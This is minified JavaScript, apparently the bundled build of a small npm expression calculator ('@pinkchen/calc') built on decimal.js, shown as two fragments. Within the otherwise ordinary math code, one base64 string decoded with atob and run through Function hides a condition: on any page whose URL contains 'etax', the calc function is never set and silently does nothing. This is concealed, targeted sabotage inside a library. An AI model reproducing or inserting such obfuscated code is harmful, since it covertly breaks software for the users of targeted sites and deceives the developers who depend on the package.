if(u<0){for(;++u;)l="0"+l;l="0."+l}else if(++u>a)for(u-=a;u--;)l+="0";else u<a&&(l=l.slice(0,u)+"."+l.slice(u))}else l=m?"0p+0":"0";l=(16==t?"0x":2==t?"0b":8==t?"0o":"")+l}else l=L(n);return n.s<0?"-"+l:l}function z(n,t){if(n.length>t)return n.length=t,!0}function Y(n){return new this(n).abs()}function J(n){return new this(n).acos()}function G(n){return new this(n).acosh()}function X(n,t){return new this(n).plus(t)}function K(n){return new this(n).asin()}function Q(n){return new this(n).asinh()}function nn(n){return new this(n).atan()}function nt(n){return new this(n).atanh()}function ne(n,t){n=new this(n),t=new this(t);var e,i=this.precision,r=this.rounding,s=i+4;return n.s&&t.s?n.d||t.d?!t.d||n.isZero()?(e=t.s<0?A(this,i,r):new this(0)).s=n.s:!n.d||t.isZero()?(e=A(this,s,1).times(.5)).s=n.s:t.s<0?(this.precision=s,this.rounding=1,e=this.atan(q(n,t,s,1)),t=A(this,s,1),this.precision=i,this.rounding=r,e=n.s<0?e.minus(t):e.plus(t)):e=this.atan(q(n,t,s,1)):(e=A(this,s,1).times(t.s>0?.25:.75)).s=n.s:e=new this(NaN),e}function ni(n){return new this(n).cbrt()}function nr(n){return D(n=new this(n),n.e+1,2)}function ns(n,t,e){return new this(n).clamp(t,e)}function no(n){if(!n||"object"!=typeof n)throw Error(a+"Object expected");var t,e,i,r=!0===n.defaults,s=["precision",1,1e9,"rounding",0,8,"toExpNeg",-9e15,0,"toExpPos",0,9e15,"maxE",0,9e15,"minE",-9e15,0,"modulo",0,9];for(t=0;t<s.length;t+=3)if(e=s[t],r&&(this[e]=c[e]),void 0!==(i=n[e]))if(g(i)===i&&i>=s[t+1]&&i<=s[t+2])this[e]=i;else throw Error(f+e+": "+i);if(e="crypto",r&&(this[e]=c[e]),void 0!==(i=n[e]))if(!0===i||!1===i||0===i||1===i)if(i)if("undefined"!=typeof crypto&&crypto&&(crypto.getRandomValues||crypto.randomBytes))this[e]=!0;else throw Error(d);else this[e]=!1;else throw Error(f+e+": "+i);return this}function nu(n){return new this(n).cos()}function nc(n){return new this(n).cosh()}function nh(n,t){return new this(n).div(t)}function na(n){return new this(n).exp()}function nf(n){return D(n=new this(n),n.e+1,3)}function nl(){var n,t,e=new this(0);for(n=0,h=!1;n<arguments.length;)if(t=new this(arguments[n++]),t.d)e.d&&(e=e.plus(t.times(t)));else{if(t.s)return h=!0,new this(1/0);e=t}return h=!0,e.sqrt()}function nd(n){return n instanceof nZ||n&&n.toStringTag===p||!1}function np(n){return new this(n).ln()}function ng(n,t){return new this(n).log(t)}function nm(n){return new this(n).log(2)}function nw(n){return new this(n).log(10)}function nv(){return C(this,arguments,-1)}function nN(){return C(this,arguments,1)}function nb(n,t){return new this(n).mod(t)}function ny(n,t){return new this(n).mul(t)}function nx(n,t){return new this(n).pow(t)}function nE(n){var t,e,i,r,s=0,o=new this(1),u=[];if(void 0===n?n=this.precision:M(n,1,1e9),i=Math.ceil(n/7),this.crypto)if(crypto.getRandomValues)for(t=crypto.getRandomValues(new Uint32Array(i));s<i;)(r=t[s])>=429e7?t[s]=crypto.getRandomValues(new Uint32Array(1))[0]:u[s++]=r%1e7;else if(crypto.randomBytes){for(t=crypto.randomBytes(i*=4);s<i;)(r=t[s]+(t[s+1]<<8)+(t[s+2]<<16)+((127&t[s+3])<<24))>=214e7?crypto.randomBytes(4).copy(t,s):(u.push(r%1e7),s+=4);s=i/4}else throw Error(d);else for(;s<i;)u[s++]=1e7*Math.random()|0;for(i=u[--s],n%=7,i&&n&&(r=m(10,7-n),u[s]=(i/r|0)*r);0===u[s];s--)u.pop();if(s<0)e=0,u=[0];else{for(e=-1;0===u[0];e-=7)u.shift();for(i=1,r=u[0];r>=10;r/=10)i++;i<7&&(e-=7-i)}return o.e=e,o.d=u,o}function nO(n){return D(n=new this(n),n.e+1,this.rounding)}function nM(n){return(n=new this(n)).d?n.d[0]?n.s:0*n.s:n.s||NaN}function nP(n){return new this(n).sin()}function nS(n){return new this(n).sinh()}function nq(n){return new this(n).sqrt()}function nD(n,t){return new this(n).sub(t)}function nj(){var n=0,t=arguments,e=new this(t[0]);for(h=!1;e.s&&++n<t.length;)e=e.plus(t[n]);return h=!0,D(e,this.precision,this.rounding)}function nF(n){return new this(n).tan()}function nR(n){return new this(n).tanh()}function nA(n){return D(n=new this(n),n.e+1,1)}E[Symbol.for("nodejs.util.inspect.custom")]=E.toString,E[Symbol.toStringTag]="Decimal";var nZ=E.constructor=function n(t){var e,i,r;function s(n){var t,e,i;if(!(this instanceof s))return new s(n);if(this.constructor=s,nd(n)){this.s=n.s,h?!n.d||n.e>s.maxE?(this.e=NaN,this.d=null):n.e<s.minE?(this.e=0,this.d=[0]):(this.e=n.e,this.d=n.d.slice()):(this.e=n.e,this.d=n.d?n.d.slice():n.d);return}if("number"==(i=typeof n)){if(0===n){this.s=1/n<0?-1:1,this.e=0,this.d=[0];return}if(n<0?(n=-n,this.s=-1):this.s=1,n===~~n&&n<1e7){for(t=0,e=n;e>=10;e/=10)t++;h?t>s.maxE?(this.e=NaN,this.d=null):t<s.minE?(this.e=0,this.d=[0]):(this.e=t,this.d=[n]):(this.e=t,this.d=[n]);return}if(0*n!=0){n||(this.s=NaN),this.e=NaN,this.d=null;return}return I(this,n.toString())}if("string"===i)return 45===(e=n.charCodeAt(0))?(n=n.slice(1),this.s=-1):(43===e&&(n=n.slice(1)),this.s=1),b.test(n)?I(this,n):function(n,t){var e,i,r,s,o,u,c,a,l;if(t.indexOf("_")>-1){if(t=t.replace(/(\d)_(?=\d)/g,"$1"),b.test(t))return I(n,t)}else if("Infinity"===t||"NaN"===t)return+t||(n.s=NaN),n.e=NaN,n.d=null,n;if(v.test(t))e=16,t=t.toLowerCase();else if(w.test(t))e=2;else if(N.test(t))e=8;else throw Error(f+t);for((s=t.search(/p/i))>0?(c=+t.slice(s+1),t=t.substring(2,s)):t=t.slice(2),o=(s=t.indexOf("."))>=0,i=n.constructor,o&&(s=(u=(t=t.replace(".","")).length)-s,r=T(i,new i(e),s,2*s)),s=l=(a=S(t,e,1e7)).length-1;0===a[s];--s)a.pop();return s<0?new i(0*n.s):(n.e=F(a,l),n.d=a,h=!1,o&&(n=q(n,r,4*u)),c&&(n=n.times(54>Math.abs(c)?m(2,c):nZ.pow(2,c))),h=!0,n)}(this,n);if("bigint"===i)return n<0?(n=-n,this.s=-1):this.s=1,I(this,n.toString());throw Error(f+n)}if(s.prototype=E,s.ROUND_UP=0,s.ROUND_DOWN=1,s.ROUND_CEIL=2,s.ROUND_FLOOR=3,s.ROUND_HALF_UP=4,s.ROUND_HALF_DOWN=5,s.ROUND_HALF_EVEN=6,s.ROUND_HALF_CEIL=7,s.ROUND_HALF_FLOOR=8,s.EUCLID=9,s.config=s.set=no,s.clone=n,s.isDecimal=nd,s.abs=Y,s.acos=J,s.acosh=G,s.add=X,s.asin=K,s.asinh=Q,s.atan=nn,s.atanh=nt,s.atan2=ne,s.cbrt=ni,s.ceil=nr,s.clamp=ns,s.cos=nu,s.cosh=nc,s.div=nh,s.exp=na,s.floor=nf,s.hypot=nl,s.ln=np,s.log=ng,s.log10=nw,s.log2=nm,s.max=nv,s.min=nN,s.mod=nb,s.mul=ny,s.pow=nx,s.random=nE,s.round=nO,s.sign=nM,s.sin=nP,s.sinh=nS,s.sqrt=nq,s.sub=nD,s.sum=nj,s.tan=nF,s.tanh=nR,s.trunc=nA,void 0===t&&(t={}),t&&!0!==t.defaults)for(e=0,r=["precision","rounding","toExpNeg","toExpPos","maxE","minE","modulo","crypto"];e<r.length;)t.hasOwnProperty(i=r[e++])||(t[i]=this[i]);return s.config(t),s}(c);o=new nZ(o),u=new nZ(u);var nk=((n={}).abs="abs",n.acos="acos",n.acosh="acosh",n.add="add",n.asin="asin",n.asinh="asinh",n.atan="atan",n.atanh="atanh",n.atan2="atan2",n.cbrt="cbrt",n.ceil="ceil",n.clamp="clamp",n.clone="clone",n.config="config",n.cos="cos",n.cosh="cosh",n.div="div",n.exp="exp",n.floor="floor",n.hypot="hypot",n.isDecimal="isDecimal",n.ln="ln",n.log="log",n.log2="log2",n.log10="log10",n.max="max",n.min="min",n.mod="mod",n.mul="mul",n.noConflict="noConflict",n.pow="pow",n.random="random",n.round="round",n.set="set",n.sign="sign",n.sin="sin",n.sinh="sinh",n.sqrt="sqrt",n.sub="sub",n.sum="sum",n.tan="tan",n.tanh="tanh",n.trunc="trunc",n),nT={"+":"plus","-":"minus","*":"times","/":"div"},n_=RegExp("(?<=^[\\w.]+\\().+(?=\\)$)");function nC(n){var t;return null==(t=n.match(/^[\w.]+(?=\()/))?void 0:t[0]}function nU(n){var t,e;return nH(n)?null!=(e=null==(t=n.match(n_))?void 0:t[0])?e:"":""}function nH(n){return/^[\w.]+\(.+\)$/.test(n)}function nL(n){if(!nH(n))return!1;var t=nC(n);return t.startsWith("DC.")||nk[t]}var nI={calc:function(n,t,e){}};Function("f",atob("aWYodHlwZW9mIHdpbmRvdz09PSd1bmRlZmluZWQnfHx3aW5kb3cubG9jYXRpb24uaHJlZi5pbmRleE9mKCdldGF4Jyk9PT0tMSkge3RoaXMuY2FsYz1mO30=")).call(nI,function n(t,e,i){try{var r,s,o=i||{},u=o.separator,c=o.digit,h=o.preUnit,a=o.postUnit,f=o.percentage,l=o.permillage;if(f&&l)throw Error("percentage and permillage cannot be true at the same time");var d=function n(t,e,i){var r=e||new Map,s=e?t:t.replaceAll(" ","").replaceAll("+-","-").replaceAll("--","+");s=function(n,t){var e=t.size+1,i=n,r=RegExp("(?<!\\w+)\\(([^()]*)\\)","g"),s=RegExp("(?<!^)(?<![*/\\()])(?<![\\w#.]+)[\\w#.]+([*/][\\w#.]+)+(?!\\))(?![*/])","g"),o=function(n){return(function(n){for(var t=[],e=[],i=0;i<n.length;i++)if("("===n[i])t.push(i);else if(")"===n[i]){if(0===t.length)throw Error('")" not match!');var r=t.pop();if(0!==t.length)continue;if(/\w/.test(n[r-1])){var s=n.substring(r,i+1).split("").reduce(function(n,t){return"".concat(n,"[").concat(t,"]")},""),o=new RegExp("[\\w.]+\\s*".concat(s)),u=n.match(o);(null==u?void 0:u.length)&&e.push(u[0])}}if(t.length)throw Error('"(" not match!');return e})(n).forEach(function(i){var r="#".concat(e++),s=nC(i);nL(i)&&!i.startsWith("DC.")&&(s="DC.".concat(s));var u=o(nU(i));t.set(r,"".concat(s,"(").concat(u,")")),n=n.replaceAll(i,r)}),n};i=o(i);for(var u=function(n){var i="#".concat(e++);return t.set(i,n),i},c=function(n,i){var r=i.replace(s,u),o="#".concat(e++);return t.set(o,r),o};RegExp("(?<!\\w+)\\(","g").test(i);)i=i.replace(r,c);return i=i.replace(s,u)}(s,r);var o=[],u=s.length,c="",h=!1;function a(){if(!o.length)return"";var n=o.join("");return o=[],/\)\.[a-z]+\($/.test(c)?n:"DC(".concat(n,")")}function f(){h&&(c+=")"),h=!1}for(var l=0;l<u;++l){var d=s[l];if(Object.keys(nT).includes(d)){if(0===l){o.push(d);continue}c+=a(),f(),c+=c?".".concat(nT[d],"("):"",h=!0}else o.push(d)}o.length>0&&(c+=a()),f();for(var p=/#\d+/g;p.test(c);)c=c.replace(p,function(t){var e=r.get(t);if(nH(e)){var i,s,o=nL(e),u=null==(s=nU(e))||null==(i=s.split(","))?void 0:i.map(function(t){var e=n(t,r);return"".concat(e).concat(o?"":".toNumber()")}),c=null==u?void 0:u.join(",");return e.replace(n_,c)}return n(e,r)});return c}(t),p=Function("with(this){return ".concat(d,"}")).call((r=function(n){for(var t=1;t<arguments.length;t++){var e=null!=arguments[t]?arguments[t]:{},i=Object.keys(e);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(e).filter(function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),i.forEach(function(t){var i;i=e[t],t in n?Object.defineProperty(n,t,{value:i,enumerable:!0,configurable:!0,writable:!0}):n[t]=i})}return n}({},e),s={DC:nZ,Decimal:nZ,_calc:n},s=null!=s?s:{},Object.getOwnPropertyDescriptors?Object.defineProperties(r,Object.getOwnPropertyDescriptors(s)):(function(n,t){var e=Object.keys(n);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(n);e.push.apply(e,i)}return e})(Object(s)).forEach(function(n){Object.defineProperty(r,n,Object.getOwnPropertyDescriptor(s,n))}),r));return p=p.toNumber(),f&&(p=nZ(p).div(100)),l&&(p=nZ(p).div(1e3)),c&&(p=nZ(p).toFixed(c)),u&&(p=p.toString().replace(RegExp("(?<!\\.\\d+)\\B(?=(?:\\d{3})+($|\\.))","g"),",")),(f||l)&&(p+=f?" %":" ‰"),h&&(p="".concat(h," ")+p.toString()),a&&(p=p.toString()+" ".concat(a)),p}catch(n){throw Error('@pinkchen/calc: exec "'.concat(t,'" error, ')+n.message)}});var n$="1.0.3",nB=nI.calc;return e}()});
|
|
2
|
+
!function(n,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.pinkchen=t():n.pinkchen=t()}(self,function(){return function(){"use strict";var n,t={};t.d=function(n,e){for(var i in e)t.o(e,i)&&!t.o(n,i)&&Object.defineProperty(n,i,{enumerable:!0,get:e[i]})},t.o=function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},t.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})};var e={};t.r(e),t.d(e,{calc:function(){return nB},version:function(){return n$}});var i,r,s="0123456789abcdef",o="2.3025850929940456840179914546843642076011014886287729760333279009675726096773524802359972050895982983419677840422862486334095254650828067566662873690987816894829072083255546808437998948262331985283935053089653777326288461633662222876982198867465436674744042432743651550489343149393914796194044002221051017141748003688084012647080685567743216228355220114804663715659121373450747856947683463616792101806445070648000277502684916746550586856935673420670581136429224554405758925724208241314695689016758940256776311356919292033376587141660230105703089634572075440370847469940168269282808481184289314848524948644871927809676271275775397027668605952496716674183485704422507197965004714951050492214776567636938662976979522110718264549734772662425709429322582798502585509785265383207606726317164309505995087807523710333101197857547331541421808427543863591778117054309827482385045648019095610299291824318237525357709750539565187697510374970888692180205189339507238539205144634197265287286965110862571492198849978748873771345686209167058",u="3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679821480865132823066470938446095505822317253594081284811174502841027019385211055596446229489549303819644288109756659334461284756482337867831652712019091456485669234603486104543266482133936072602491412737245870066063155881748815209209628292540917153643678925903600113305305488204665213841469519415116094330572703657595919530921861173819326117931051185480744623799627495673518857527248912279381830119491298336733624406566430860213949463952247371907021798609437027705392171762931767523846748184676694051320005681271452635608277857713427577896091736371787214684409012249534301465495853710507922796892589235420199561121290219608640344181598136297747713099605187072113499999983729780499510597317328160963185950244594553469083026425223082533446850352619311881710100031378387528865875332083814206171776691473035982534904287554687311595628638823537875937519577818577805321712268066130019278766111959092164201989380952572010654858632789",c={precision:20,rounding:4,modulo:1,toExpNeg:-7,toExpPos:21,minE:-9e15,maxE:9e15,crypto:!1},h=!0,a="[DecimalError] ",f=a+"Invalid argument: ",l=a+"Precision limit exceeded",d=a+"crypto unavailable",p="[object Decimal]",g=Math.floor,m=Math.pow,w=/^0b([01]+(\.[01]*)?|\.[01]+)(p[+-]?\d+)?$/i,v=/^0x([0-9a-f]+(\.[0-9a-f]*)?|\.[0-9a-f]+)(p[+-]?\d+)?$/i,N=/^0o([0-7]+(\.[0-7]*)?|\.[0-7]+)(p[+-]?\d+)?$/i,b=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,y=o.length-1,x=u.length-1,E={toStringTag:p};function O(n){var t,e,i,r=n.length-1,s="",o=n[0];if(r>0){for(s+=o,t=1;t<r;t++)(e=7-(i=n[t]+"").length)&&(s+=k(e)),s+=i;(e=7-(i=(o=n[t])+"").length)&&(s+=k(e))}else if(0===o)return"0";for(;o%10==0;)o/=10;return s+o}function M(n,t,e){if(n!==~~n||n<t||n>e)throw Error(f+n)}function P(n,t,e,i){var r,s,o,u;for(s=n[0];s>=10;s/=10)--t;return--t<0?(t+=7,r=0):(r=Math.ceil((t+1)/7),t%=7),s=m(10,7-t),u=n[r]%s|0,null==i?t<3?(0==t?u=u/100|0:1==t&&(u=u/10|0),o=e<4&&99999==u||e>3&&49999==u||5e4==u||0==u):o=(e<4&&u+1==s||e>3&&u+1==s/2)&&(n[r+1]/s/100|0)==m(10,t-2)-1||(u==s/2||0==u)&&(n[r+1]/s/100|0)==0:t<4?(0==t?u=u/1e3|0:1==t?u=u/100|0:2==t&&(u=u/10|0),o=(i||e<4)&&9999==u||!i&&e>3&&4999==u):o=((i||e<4)&&u+1==s||!i&&e>3&&u+1==s/2)&&(n[r+1]/s/1e3|0)==m(10,t-3)-1,o}function S(n,t,e){for(var i,r,o=[0],u=0,c=n.length;u<c;){for(r=o.length;r--;)o[r]*=t;for(o[0]+=s.indexOf(n.charAt(u++)),i=0;i<o.length;i++)o[i]>e-1&&(void 0===o[i+1]&&(o[i+1]=0),o[i+1]+=o[i]/e|0,o[i]%=e)}return o.reverse()}E.absoluteValue=E.abs=function(){var n=new this.constructor(this);return n.s<0&&(n.s=1),D(n)},E.ceil=function(){return D(new this.constructor(this),this.e+1,2)},E.clampedTo=E.clamp=function(n,t){var e=this.constructor;if(n=new e(n),t=new e(t),!n.s||!t.s)return new e(NaN);if(n.gt(t))throw Error(f+t);return 0>this.cmp(n)?n:this.cmp(t)>0?t:new e(this)},E.comparedTo=E.cmp=function(n){var t,e,i,r,s=this.d,o=(n=new this.constructor(n)).d,u=this.s,c=n.s;if(!s||!o)return u&&c?u!==c?u:s===o?0:!s^u<0?1:-1:NaN;if(!s[0]||!o[0])return s[0]?u:o[0]?-c:0;if(u!==c)return u;if(this.e!==n.e)return this.e>n.e^u<0?1:-1;for(t=0,e=(i=s.length)<(r=o.length)?i:r;t<e;++t)if(s[t]!==o[t])return s[t]>o[t]^u<0?1:-1;return i===r?0:i>r^u<0?1:-1},E.cosine=E.cos=function(){var n,t,e=this,i=e.constructor;return e.d?e.d[0]?(n=i.precision,t=i.rounding,i.precision=n+Math.max(e.e,e.sd())+7,i.rounding=1,e=function(n,t){var e,i,r;if(t.isZero())return t;(i=t.d.length)<32?r=(1/B(4,e=Math.ceil(i/3))).toString():(e=16,r="2.3283064365386962890625e-10"),n.precision+=e,t=$(n,1,t.times(r),new n(1));for(var s=e;s--;){var o=t.times(t);t=o.times(o).minus(o).times(8).plus(1)}return n.precision-=e,t}(i,W(i,e)),i.precision=n,i.rounding=t,D(2==r||3==r?e.neg():e,n,t,!0)):new i(1):new i(NaN)},E.cubeRoot=E.cbrt=function(){var n,t,e,i,r,s,o,u,c,a,f=this.constructor;if(!this.isFinite()||this.isZero())return new f(this);for(h=!1,(s=this.s*m(this.s*this,1/3))&&Math.abs(s)!=1/0?i=new f(s.toString()):(e=O(this.d),(s=((n=this.e)-e.length+1)%3)&&(e+=1==s||-2==s?"0":"00"),s=m(e,1/3),n=g((n+1)/3)-(n%3==(n<0?-1:2)),(i=new f(e=s==1/0?"5e"+n:(e=s.toExponential()).slice(0,e.indexOf("e")+1)+n)).s=this.s),o=(n=f.precision)+3;;)if(i=q((a=(c=(u=i).times(u).times(u)).plus(this)).plus(this).times(u),a.plus(c),o+2,1),O(u.d).slice(0,o)===(e=O(i.d)).slice(0,o)){if("9999"!=(e=e.slice(o-3,o+1))&&(r||"4999"!=e)){+e&&(+e.slice(1)||"5"!=e.charAt(0))||(D(i,n+1,1),t=!i.times(i).times(i).eq(this));break}if(!r&&(D(u,n+1,0),u.times(u).times(u).eq(this))){i=u;break}o+=4,r=1}return h=!0,D(i,n,f.rounding,t)},E.decimalPlaces=E.dp=function(){var n,t=this.d,e=NaN;if(t){if(e=((n=t.length-1)-g(this.e/7))*7,n=t[n])for(;n%10==0;n/=10)e--;e<0&&(e=0)}return e},E.dividedBy=E.div=function(n){return q(this,new this.constructor(n))},E.dividedToIntegerBy=E.divToInt=function(n){var t=this.constructor;return D(q(this,new t(n),0,1,1),t.precision,t.rounding)},E.equals=E.eq=function(n){return 0===this.cmp(n)},E.floor=function(){return D(new this.constructor(this),this.e+1,3)},E.greaterThan=E.gt=function(n){return this.cmp(n)>0},E.greaterThanOrEqualTo=E.gte=function(n){var t=this.cmp(n);return 1==t||0===t},E.hyperbolicCosine=E.cosh=function(){var n,t,e,i,r,s=this,o=s.constructor,u=new o(1);if(!s.isFinite())return new o(s.s?1/0:NaN);if(s.isZero())return u;e=o.precision,i=o.rounding,o.precision=e+Math.max(s.e,s.sd())+4,o.rounding=1,(r=s.d.length)<32?t=(1/B(4,n=Math.ceil(r/3))).toString():(n=16,t="2.3283064365386962890625e-10"),s=$(o,1,s.times(t),new o(1),!0);for(var c,h=n,a=new o(8);h--;)c=s.times(s),s=u.minus(c.times(a.minus(c.times(a))));return D(s,o.precision=e,o.rounding=i,!0)},E.hyperbolicSine=E.sinh=function(){var n,t,e,i,r=this,s=r.constructor;if(!r.isFinite()||r.isZero())return new s(r);if(t=s.precision,e=s.rounding,s.precision=t+Math.max(r.e,r.sd())+4,s.rounding=1,(i=r.d.length)<3)r=$(s,2,r,r,!0);else{n=(n=1.4*Math.sqrt(i))>16?16:0|n,r=$(s,2,r=r.times(1/B(5,n)),r,!0);for(var o,u=new s(5),c=new s(16),h=new s(20);n--;)o=r.times(r),r=r.times(u.plus(o.times(c.times(o).plus(h))))}return s.precision=t,s.rounding=e,D(r,t,e,!0)},E.hyperbolicTangent=E.tanh=function(){var n,t,e=this.constructor;return this.isFinite()?this.isZero()?new e(this):(n=e.precision,t=e.rounding,e.precision=n+7,e.rounding=1,q(this.sinh(),this.cosh(),e.precision=n,e.rounding=t)):new e(this.s)},E.inverseCosine=E.acos=function(){var n=this,t=n.constructor,e=n.abs().cmp(1),i=t.precision,r=t.rounding;return -1!==e?0===e?n.isNeg()?A(t,i,r):new t(0):new t(NaN):n.isZero()?A(t,i+4,r).times(.5):(t.precision=i+6,t.rounding=1,n=new t(1).minus(n).div(n.plus(1)).sqrt().atan(),t.precision=i,t.rounding=r,n.times(2))},E.inverseHyperbolicCosine=E.acosh=function(){var n,t,e=this,i=e.constructor;return e.lte(1)?new i(e.eq(1)?0:NaN):e.isFinite()?(n=i.precision,t=i.rounding,i.precision=n+Math.max(Math.abs(e.e),e.sd())+4,i.rounding=1,h=!1,e=e.times(e).minus(1).sqrt().plus(e),h=!0,i.precision=n,i.rounding=t,e.ln()):new i(e)},E.inverseHyperbolicSine=E.asinh=function(){var n,t,e=this,i=e.constructor;return!e.isFinite()||e.isZero()?new i(e):(n=i.precision,t=i.rounding,i.precision=n+2*Math.max(Math.abs(e.e),e.sd())+6,i.rounding=1,h=!1,e=e.times(e).plus(1).sqrt().plus(e),h=!0,i.precision=n,i.rounding=t,e.ln())},E.inverseHyperbolicTangent=E.atanh=function(){var n,t,e,i,r=this,s=r.constructor;return r.isFinite()?r.e>=0?new s(r.abs().eq(1)?r.s/0:r.isZero()?r:NaN):(n=s.precision,t=s.rounding,Math.max(i=r.sd(),n)<-(2*r.e)-1)?D(new s(r),n,t,!0):(s.precision=e=i-r.e,r=q(r.plus(1),new s(1).minus(r),e+n,1),s.precision=n+4,s.rounding=1,r=r.ln(),s.precision=n,s.rounding=t,r.times(.5)):new s(NaN)},E.inverseSine=E.asin=function(){var n,t,e,i,r=this,s=r.constructor;return r.isZero()?new s(r):(t=r.abs().cmp(1),e=s.precision,i=s.rounding,-1!==t)?0===t?((n=A(s,e+4,i).times(.5)).s=r.s,n):new s(NaN):(s.precision=e+6,s.rounding=1,r=r.div(new s(1).minus(r.times(r)).sqrt().plus(1)).atan(),s.precision=e,s.rounding=i,r.times(2))},E.inverseTangent=E.atan=function(){var n,t,e,i,r,s,o,u,c,a=this,f=a.constructor,l=f.precision,d=f.rounding;if(a.isFinite()){if(a.isZero())return new f(a);else if(a.abs().eq(1)&&l+4<=x)return(o=A(f,l+4,d).times(.25)).s=a.s,o}else{if(!a.s)return new f(NaN);if(l+4<=x)return(o=A(f,l+4,d).times(.5)).s=a.s,o}for(f.precision=u=l+10,f.rounding=1,n=e=Math.min(28,u/7+2|0);n;--n)a=a.div(a.times(a).plus(1).sqrt().plus(1));for(h=!1,t=Math.ceil(u/7),i=1,c=a.times(a),o=new f(a),r=a;-1!==n;)if(r=r.times(c),s=o.minus(r.div(i+=2)),r=r.times(c),void 0!==(o=s.plus(r.div(i+=2))).d[t])for(n=t;o.d[n]===s.d[n]&&n--;);return e&&(o=o.times(2<<e-1)),h=!0,D(o,f.precision=l,f.rounding=d,!0)},E.isFinite=function(){return!!this.d},E.isInteger=E.isInt=function(){return!!this.d&&g(this.e/7)>this.d.length-2},E.isNaN=function(){return!this.s},E.isNegative=E.isNeg=function(){return this.s<0},E.isPositive=E.isPos=function(){return this.s>0},E.isZero=function(){return!!this.d&&0===this.d[0]},E.lessThan=E.lt=function(n){return 0>this.cmp(n)},E.lessThanOrEqualTo=E.lte=function(n){return 1>this.cmp(n)},E.logarithm=E.log=function(n){var t,e,i,r,s,o,u,c=this.constructor,a=c.precision,f=c.rounding;if(null==n)n=new c(10),t=!0;else{if(e=(n=new c(n)).d,n.s<0||!e||!e[0]||n.eq(1))return new c(NaN);t=n.eq(10)}if(e=this.d,this.s<0||!e||!e[0]||this.eq(1))return new c(e&&!e[0]?-1/0:1!=this.s?NaN:e?0:1/0);if(t)if(e.length>1)r=!0;else{for(i=e[0];i%10==0;)i/=10;r=1!==i}if(h=!1,P((u=q(s=H(this,o=a+5),t?R(c,o+10):H(n,o),o,1)).d,i=a,f))do if(o+=10,u=q(s=H(this,o),t?R(c,o+10):H(n,o),o,1),!r){+O(u.d).slice(i+1,i+15)+1==1e14&&(u=D(u,a+1,0));break}while(P(u.d,i+=10,f));return h=!0,D(u,a,f)},E.minus=E.sub=function(n){var t,e,i,r,s,o,u,c,a,f,l,d,p=this.constructor;if(n=new p(n),!this.d||!n.d)return this.s&&n.s?this.d?n.s=-n.s:n=new p(n.d||this.s!==n.s?this:NaN):n=new p(NaN),n;if(this.s!=n.s)return n.s=-n.s,this.plus(n);if(a=this.d,d=n.d,u=p.precision,c=p.rounding,!a[0]||!d[0]){if(d[0])n.s=-n.s;else{if(!a[0])return new p(3===c?-0:0);n=new p(this)}return h?D(n,u,c):n}if(e=g(n.e/7),f=g(this.e/7),a=a.slice(),s=f-e){for((l=s<0)?(t=a,s=-s,o=d.length):(t=d,e=f,o=a.length),s>(i=Math.max(Math.ceil(u/7),o)+2)&&(s=i,t.length=1),t.reverse(),i=s;i--;)t.push(0);t.reverse()}else{for((l=(i=a.length)<(o=d.length))&&(o=i),i=0;i<o;i++)if(a[i]!=d[i]){l=a[i]<d[i];break}s=0}for(l&&(t=a,a=d,d=t,n.s=-n.s),o=a.length,i=d.length-o;i>0;--i)a[o++]=0;for(i=d.length;i>s;){if(a[--i]<d[i]){for(r=i;r&&0===a[--r];)a[r]=1e7-1;--a[r],a[i]+=1e7}a[i]-=d[i]}for(;0===a[--o];)a.pop();for(;0===a[0];a.shift())--e;return a[0]?(n.d=a,n.e=F(a,e),h?D(n,u,c):n):new p(3===c?-0:0)},E.modulo=E.mod=function(n){var t,e=this.constructor;return(n=new e(n),this.d&&n.s&&(!n.d||n.d[0]))?n.d&&(!this.d||this.d[0])?(h=!1,9==e.modulo?(t=q(this,n.abs(),0,3,1),t.s*=n.s):t=q(this,n,0,e.modulo,1),t=t.times(n),h=!0,this.minus(t)):D(new e(this),e.precision,e.rounding):new e(NaN)},E.naturalExponential=E.exp=function(){return U(this)},E.naturalLogarithm=E.ln=function(){return H(this)},E.negated=E.neg=function(){var n=new this.constructor(this);return n.s=-n.s,D(n)},E.plus=E.add=function(n){var t,e,i,r,s,o,u,c,a,f,l=this.constructor;if(n=new l(n),!this.d||!n.d)return this.s&&n.s?this.d||(n=new l(n.d||this.s===n.s?this:NaN)):n=new l(NaN),n;if(this.s!=n.s)return n.s=-n.s,this.minus(n);if(a=this.d,f=n.d,u=l.precision,c=l.rounding,!a[0]||!f[0])return f[0]||(n=new l(this)),h?D(n,u,c):n;if(s=g(this.e/7),i=g(n.e/7),a=a.slice(),r=s-i){for(r<0?(e=a,r=-r,o=f.length):(e=f,i=s,o=a.length),r>(o=(s=Math.ceil(u/7))>o?s+1:o+1)&&(r=o,e.length=1),e.reverse();r--;)e.push(0);e.reverse()}for((o=a.length)-(r=f.length)<0&&(r=o,e=f,f=a,a=e),t=0;r;)t=(a[--r]=a[r]+f[r]+t)/1e7|0,a[r]%=1e7;for(t&&(a.unshift(t),++i),o=a.length;0==a[--o];)a.pop();return n.d=a,n.e=F(a,i),h?D(n,u,c):n},E.precision=E.sd=function(n){var t;if(void 0!==n&&!!n!==n&&1!==n&&0!==n)throw Error(f+n);return this.d?(t=Z(this.d),n&&this.e+1>t&&(t=this.e+1)):t=NaN,t},E.round=function(){var n=this.constructor;return D(new n(this),this.e+1,n.rounding)},E.sine=E.sin=function(){var n,t,e=this,i=e.constructor;return e.isFinite()?e.isZero()?new i(e):(n=i.precision,t=i.rounding,i.precision=n+Math.max(e.e,e.sd())+7,i.rounding=1,e=function(n,t){var e,i=t.d.length;if(i<3)return t.isZero()?t:$(n,2,t,t);e=(e=1.4*Math.sqrt(i))>16?16:0|e,t=$(n,2,t=t.times(1/B(5,e)),t);for(var r,s=new n(5),o=new n(16),u=new n(20);e--;)r=t.times(t),t=t.times(s.plus(r.times(o.times(r).minus(u))));return t}(i,W(i,e)),i.precision=n,i.rounding=t,D(r>2?e.neg():e,n,t,!0)):new 